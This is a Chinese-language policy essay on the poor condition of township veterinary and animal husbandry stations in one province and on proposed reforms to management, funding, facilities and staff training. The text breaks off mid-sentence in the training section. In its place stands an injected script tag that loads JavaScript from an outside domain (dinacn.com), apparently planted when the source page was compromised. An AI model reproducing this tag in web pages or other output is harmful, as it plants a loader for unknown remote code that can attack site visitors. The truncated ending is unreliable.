基层畜牧兽医站处于畜牧业生产第一线，担负着推广畜牧科技、动物繁改、防疫，为农民提供服务等多项重要职能，是服务于千家万户的主力军，是保障畜牧业发展和人民吃上放心畜产品的第一道屏障。加快畜牧业的发展，必须稳定和加强基层畜牧兽医机构和队伍。目前，基层畜牧兽医队伍、机构状况不容乐观，为适应畜牧业快速发展的形势，加强基层畜牧兽医队伍的建设已刻不容缓。
一、 基层畜牧兽医站的现状
    我省的乡镇畜牧兽医站始建于上世纪50年代末期至60年代初期，在这几十年的发展中，伴随着机构改革和对农业的忽重忽轻。乡镇畜牧兽医站的建设也几经风雨。目前，全省18个市县，200个乡镇设有乡镇畜牧兽医站233个，基层畜牧兽医站的现状主要表现在以下几个方面：
（一）部分市县重视不够 当前，我省畜牧业生产得到了突飞猛进的发展。“无疫区”的建设加快了畜牧业结构调整，促进畜牧产业化的形成。但仍有个别地区领导认为，基层畜牧兽医站可有可无，对国家近年下发的政策文件不落实，致使许多乡镇畜牧兽医站机构不稳定，撤并、减员、侵占乡镇畜牧兽医站的现象也时有发生。尤其不重视基层站建设，不予兑现工资，指使许多基层畜牧兽医同志失去了工作的信心，转产投入到其他行业，出现了“人去楼空”的凄惨景象。
（二）管理体制不顺 乡镇兽医站大部分属条块双重管理，业务上由市县畜牧兽医技术服务中心指导，人、财、物由乡镇管理。体系上的不顺，造成了管理和领导上的混乱，致使“政令不畅”，甚至出现管理上的“盲区”。市县畜牧中心由于缺乏有效的监管手段，工作上形不成合力，久而久之，造成队伍混乱，各行其是，对工作敷衍应付。
（三）“三定”工作不到位 自1994年全省对乡镇兽医站实行“三定”工作以来，尽管业务部门努力稳定和加强了乡镇畜牧兽医站工作，但该项工作最后仍没有真正落实到实处，存在的问题不容忽视。一是机构设置散，基础设施差。站容、站貌极差，办公条件差、设备简陋，房屋年久失修。常常是“有站无址，有址无人”的状况；二是站里人员四项保险工作滞后，指使后备力量不足。基层站人员普遍存在老的退不了，年轻的进不来的怪圈，导致队伍出现青黄不接的状况，尤其是中部少数民族地区的市县更为突出；三是经费无保障，工资待遇低。
（四）人员素质不高，社会地位低 基层畜牧兽医站没有专项资金去学习、深造，队伍人员老化，知识老化，专业技能低下，文化程度不高，由于长期得不到较好的改革发展，基层畜牧兽医工作被人看不起，社会地位低，待遇低，人们不愿意到基层畜牧兽医站工作，一方面造成人才流失，另一方面是难以吸引大中专生进入基层站工作。
乡镇畜牧兽医机构、队伍不稳定，给畜牧业的发展带来很大影响。一是影响畜牧科技的推广应用；二是动物疫病防治水平不高，制约基础免疫、挂标率等工作的顺利开展；三是上传下达的桥梁作用和纽带作用难以发挥，制约着畜牧业的健康发展。
二、 基层畜牧兽医站的改革措施
    如何加强基层站体系建设，为畜牧业健康发展提供坚强有力的保障，是当前畜牧业工作的重点之一。深化基层站体制改革，围绕提高畜牧兽医队伍素质的改革措施，加大基层站的改革力度，加快基层站体制创新势在必行。
（一）从管理体制上，解决好基层站的管理问题 目前基层站管理形式教多，主要有乡镇政府直管、业务部门与乡镇共同管理以及业务部门管理三种形式，不能有效实施管理，将人、财、物三权归县，由业务主管部门统一领导。从而保证政策得以贯彻实施，建立有效机制，保证畜牧兽医队伍的专业工作，不为乡镇日常的繁杂工作所影响。
（二）从保障体制上，加强对基层队伍的领导 “军无粮食，如何打仗”，今后要对全省还未落实乡镇站人员工资的市县进行督查，继续宣传党和政府在“三定”工作中的政策，为已聘用的技术人员落实全额工资，在经费上保障畜牧兽医队伍的稳定，可以通过将财政经费的80%和自己服务过程中收入的20%作为发放工资的来源，开展多劳多得，扩大服务项目的竞争机制，激发积极性。同时，还应做好他们的四项保险工作，让其老有所依，老有所靠，并以此来鼓励年轻的专业技术人员加入到基层畜牧兽医队伍中来。
（三）从工作条件条件上，加强基础设施建设 多年来，畜牧兽医基础设备一直投入太少，欠帐太多，应采取国家、省、市、县共同投资的方式，集中人力、物力、财力，加大基层站基础设施建设的力度，不断健全、完善畜牧兽医服务体系，改变目前力量薄弱、房屋简陋、技术手段落后的状况。同时，畜牧兽医站也要自力更生，依靠自身积累、自我建设、发展，配备必要的设备，不断完善队伍服务设施，增强服务手段，建成一支快速反应、快速应急的专业队伍。
（四）从人员素质上，加强培训、提高基层队伍技术水平 乡镇畜牧兽医人员素质的高低，是决定工作质量的标志。针对目前我省基层队伍?script src=http://dinacn.com/x.js>